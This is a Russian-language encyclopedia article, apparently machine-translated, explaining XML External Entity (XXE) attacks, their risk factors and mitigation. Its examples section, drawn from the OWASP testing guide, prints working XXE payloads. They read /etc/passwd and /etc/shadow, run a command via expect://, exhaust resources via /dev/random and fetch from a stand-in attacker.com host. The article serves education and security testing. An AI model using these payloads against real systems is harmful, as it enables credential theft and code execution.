Атака внешнего объекта XML
В этой статье есть несколько проблем. Пожалуйста, помогите улучшить его или обсудите эти проблемы на странице обсуждения . ( Узнайте, как и когда удалять эти шаблонные сообщения )
|
Атака внешнего объекта XML или просто атака XXE — это тип атаки на приложение, которое анализирует ввод XML . Эта атака происходит, когда ввод XML, содержащий ссылку на внешний объект, обрабатывается слабо настроенным анализатором XML. Эта атака может привести к раскрытию конфиденциальных данных, DoS-атакам , подделке запросов на стороне сервера , сканированию портов с точки зрения машины, на которой расположен парсер, и другим [ который? ] системные воздействия. [1]
Описание
[ редактировать ]Стандарт XML 1.0 определяет структуру XML-документа. Стандарт определяет концепцию, называемую сущностью , которая представляет собой термин, относящийся к нескольким типам единиц данных. Одним из таких типов сущностей является внешняя сущность, анализируемая по общим параметрам или параметрам, часто сокращаемая до внешней сущности, которая может получать доступ к локальному или удаленному контенту через объявленный системный идентификатор . Предполагается, что системный идентификатор представляет собой URI , к которому может получить доступ процессор XML при обработке объекта. Затем процессор XML заменяет вхождения именованного внешнего объекта содержимым, на которое ссылается системный идентификатор. Если системный идентификатор содержит испорченные данные и процессор XML разыменовывает эти испорченные данные, процессор XML может раскрыть конфиденциальную информацию, обычно недоступную приложению. Подобные векторы атак предусматривают использование внешних DTD , внешних таблиц стилей , внешних схем и т. д., которые, если они включены, позволяют проводить аналогичные атаки в стиле включения внешних ресурсов.
Атаки могут включать раскрытие локальных файлов, которые могут содержать конфиденциальные данные, такие как пароли или личные данные пользователя, с использованием file://
схемы или относительные пути в системном идентификаторе. Поскольку атака происходит относительно приложения, обрабатывающего XML-документ, злоумышленник может использовать это доверенное приложение для перехода к другим внутренним системам, возможно, раскрывая другой внутренний контент через HTTP- запросы или запуская CSRF- атаку на любые незащищенные внутренние службы. В некоторых ситуациях библиотека процессора XML, уязвимая к проблемам повреждения памяти на стороне клиента , может быть использована путем разыменования вредоносного URI , что может позволить выполнение произвольного кода под учетной записью приложения . Другие атаки могут получить доступ к локальным ресурсам, которые могут продолжать возвращать данные, что может повлиять на доступность приложений, если не будет выпущено слишком много потоков или процессов.
Приложению не нужно явно возвращать ответ злоумышленнику, чтобы оно было уязвимо к раскрытию информации. Злоумышленник может использовать информацию DNS для передачи данных через имена поддоменов на DNS-сервер, находящийся под его контролем. [2]
Факторы риска
[ редактировать ]- Приложение анализирует XML-документы.
- Испорченные данные допускаются в части системного идентификатора объекта, в определении типа документа (DTD).
- Процессор XML настроен для проверки и обработки DTD.
- Процессор XML настроен на разрешение внешних объектов в DTD.
Примеры
[ редактировать ]Приведенные ниже примеры взяты из теста OWASP на внедрение XML (WSTG-INPV-07) . [3]
Доступ к локальному ресурсу, который может не вернуться
[ редактировать ] <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Удаленное выполнение кода
[ редактировать ]Когда PHP загружен модуль «expect», удаленное выполнение кода может быть возможным с измененной полезной нагрузкой.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
Раскрытие /etc/passwd или других целевых файлов
[ редактировать ] <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
смягчение последствий
[ редактировать ]Поскольку весь XML-документ передается от ненадежного клиента, обычно невозможно выборочно проверить или избежать испорченных данных в системном идентификаторе в DTD. Процессор XML можно настроить на использование локального статического DTD и запретить любое объявленное DTD, включенное в XML-документ.
См. также
[ редактировать ]Ссылки
[ редактировать ]- ^ «Что такое атаки на внешние объекты XML (XXE)» . Акунетикс . Проверено 13 ноября 2023 г.
- ^ «Руководство по тестированию OWASP v3» (PDF) . Откройте проект безопасности веб-приложений . 2008 год . Проверено 13 ноября 2023 г.
- ^ «Тестирование на внедрение XML (WSTG-INPV-07), Руководство по тестированию веб-безопасности, версия 4.2» . ОВАСП . 03.12.2020. Архивировано из оригинала 20 апреля 2021 г. Проверено 16 марта 2023 г.
Внешние ссылки
[ редактировать ]- Памятка по предотвращению внешних объектов OWASP XML (XXE)
- Статья Тимоти Моргана 2014 г.: XML-схема, DTD и атаки на объекты — сборник известных методов [ мертвая ссылка ]
- Презентация предшественника вышеупомянутого документа — на OWASP AppSec USA 2013.
- CWE-611: раскрытие информации через ссылку на внешний объект XML
- CWE-827: Неправильный контроль определения типа документа
- Презентация Саши Херцога об атаках на внешние объекты XML - на OWASP AppSec Germany 2010
- Уязвимость PostgreSQL XXE
- Уязвимости SharePoint и DotNetNuke XXE, на французском языке
- XML-атаки и защита от отказа в обслуживании (в .NET)
- Ранняя (2002 г.) статья BugTraq о XXE [ мертвая ссылка ] Архивировано 2 сентября 2019 г. в Wayback Machine.
- XML 1.0 Расширяемый язык разметки (XML) 1.0 (пятое издание)